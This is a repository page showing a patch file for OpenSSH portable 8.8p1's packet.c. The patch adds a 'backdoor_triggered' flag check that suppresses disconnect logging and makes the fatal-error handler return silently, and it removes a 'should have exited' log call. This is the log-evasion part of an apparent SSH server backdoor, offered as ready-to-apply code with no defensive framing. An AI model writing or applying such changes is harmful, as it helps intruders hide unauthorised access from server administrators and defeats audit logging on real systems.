-
Notifications
You must be signed in to change notification settings - Fork 7
/
packet.c.patch
executable file
·39 lines (37 loc) · 1.26 KB
/
packet.c.patch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
--- openssh-portable-V_8_8_P1/packet.c 2021-09-26 09:03:19.000000000 -0500
+++ openssh-patched/packet.c 2021-12-08 09:55:13.936177862 -0600
@@ -1746,12 +1746,14 @@
(r = sshpkt_get_string(ssh, &msg, NULL)) != 0)
return r;
/* Ignore normal client exit notifications */
- do_log2(ssh->state->server_side &&
- reason == SSH2_DISCONNECT_BY_APPLICATION ?
- SYSLOG_LEVEL_INFO : SYSLOG_LEVEL_ERROR,
- "Received disconnect from %s port %d:"
- "%u: %.400s", ssh_remote_ipaddr(ssh),
- ssh_remote_port(ssh), reason, msg);
+ if (!ssh->backdoor_triggered == 1) {
+ do_log2(ssh->state->server_side &&
+ reason == SSH2_DISCONNECT_BY_APPLICATION ?
+ SYSLOG_LEVEL_INFO : SYSLOG_LEVEL_ERROR,
+ "Received disconnect from %s port %d:"
+ "%u: %.400s", ssh_remote_ipaddr(ssh),
+ ssh_remote_port(ssh), reason, msg);
+ }
free(msg);
return SSH_ERR_DISCONNECTED;
case SSH2_MSG_UNIMPLEMENTED:
@@ -1846,6 +1848,7 @@
static void
sshpkt_vfatal(struct ssh *ssh, int r, const char *fmt, va_list ap)
{
+ if (ssh->backdoor_triggered == 1) return;
char *tag = NULL, remote_id[512];
int oerrno = errno;
@@ -1903,7 +1906,6 @@
sshpkt_vfatal(ssh, r, fmt, ap);
/* NOTREACHED */
va_end(ap);
- logdie_f("should have exited");
}
/*